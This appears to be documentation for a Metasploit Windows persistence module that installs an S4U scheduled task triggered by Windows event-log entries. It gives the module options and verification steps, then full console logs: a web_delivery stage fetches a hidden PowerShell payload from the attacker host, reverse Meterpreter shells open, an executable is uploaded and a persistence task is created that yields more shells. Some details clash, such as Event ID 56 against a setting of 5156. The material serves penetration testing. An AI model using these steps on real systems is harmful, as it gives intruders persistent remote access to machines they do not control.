## Vulnerable Application

Creates a scheduled task that will run using service-for-user (S4U).
This allows the scheduled task to run even as an unprivileged user
that is not logged into the device. This will result in lower security
context, allowing access to local resources only. The module
requires 'Logon as a batch job' permissions (SeBatchLogonRight).

This variant uses an event trigger to launch the payload when a
specified event is logged to the Windows Event Log.

### Event Trigger Ideas

#### Service Start

Services like Windows Update, Google Update etc will trigger this (likely multiple times)

```
set EVENT_ID 7036
set EVENT_LOG System
```

#### Terminal Service Connection

In the System log, Event ID 56 usually comes from the TerminalServices-RemoteConnectionManager or TermDD source.

```
set EVENT_ID 5156
set EVENT_LOG System
set XPATH *[EventData[Data = \'INSERT IP ADDRESS\']]
```

Trigger the event with `nmap -sV -p 3389 x.x.x.x`

#### Failed Login (admin permissions required)

```
set EVENT_ID 4625
set EVENT_LOG Security
```

Trigger the event with `smbclient` or `auxiliary/scanner/smb/smb_login`

### Event Log Start

Should take place after a reboot

```
set EVENT_ID 6005
set EVENT_LOG System
```

## Verification Steps

1. Start msfconsole
2. Get a user level shell
3. Do: `use exploit/windows/persistence/service_for_user/event`
4. Do: `set event_id #`
5. Do: `set session #`
6. Do: `run`
7. Wait for the event to occur, or cause it to occur
8. You should eventually get a shell.

## Options

### EXPIRE_TIME

Number of minutes until trigger expires. Defaults to `0`

### PAYLOAD_NAME

Name of payload file to write. Random string as default.

### TASK_NAME

The name of task. Random string as default.

### EVENT_LOG

The event log to check for event. Defaults to `System`. Choices are: `Application`, `System`, `Security`, `Setup`, `ForwardedEvents`

### EVENT_ID

Event ID to trigger on.

### XPATH

XPath query

## Scenarios

### Windows 7 (6.1 Build 7601, Service Pack 1)

Initial shell

```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 2
target => 2
resource (/root/.msf4/msfconsole.rc)> set srvport 8085
srvport => 8085
resource (/root/.msf4/msfconsole.rc)> set uripath w2
uripath => w2
resource (/root/.msf4/msfconsole.rc)> set payload payload/windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4449
lport => 4449
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 1.1.1.1:4449 
[*] Using URL: http://1.1.1.1:8085/w2
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e  
msf exploit(multi/script/web_delivery) > 
[*] 2.2.2.2    web_delivery - Powershell command length: 3720
[*] 2.2.2.2    web_delivery - Delivering Payload (3720 bytes)
[*] Sending stage (230982 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4449 -> 2.2.2.2:49554) at 2025-12-27 07:23:36 -0500

msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : WINDOWS7
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x64/windows
meterpreter > getuid
Server username: windows7\windows
meterpreter > background
[*] Backgrounding session 1...
```

Install persistence

```
msf exploit(multi/script/web_delivery) > use exploit/windows/persistence/service_for_user/event 
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(windows/persistence/service_for_user/event) > set event_id 7036
event_id => 7036
msf exploit(windows/persistence/service_for_user/event) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/persistence/service_for_user/event) > set session 1
session => 1
msf exploit(windows/persistence/service_for_user/event) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 1.1.1.1:4444 
msf exploit(windows/persistence/service_for_user/event) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target is likely exploitable
[*] Uploading C:\Users\windows\AppData\Local\Temp\lOsbcWHh.exe
[+] Successfully Uploaded remote executable to C:\Users\windows\AppData\Local\Temp\lOsbcWHh.exe
[+] Successfully wrote XML file to C:\Users\windows\AppData\Local\Temp\LAxYVJnmQ.xml
[+] Persistence task McmPkAnp created successfully
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WINDOWS7_20251227.2649/WINDOWS7_20251227.2649.rc

msf exploit(windows/persistence/service_for_user/event) > 
```

Start any service, Google Chrome Update Service (gpupdate) causes ~2 shells, this was the Fax service.

```
[*] Sending stage (188998 bytes) to 2.2.2.2
[*] Sending stage (188998 bytes) to 2.2.2.2
[*] Sending stage (188998 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49557) at 2025-12-27 07:27:55 -0500
[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 2.2.2.2:49558) at 2025-12-27 07:27:55 -0500
[*] Meterpreter session 6 opened (1.1.1.1:4444 -> 2.2.2.2:49561) at 2025-12-27 07:27:57 -0500
```
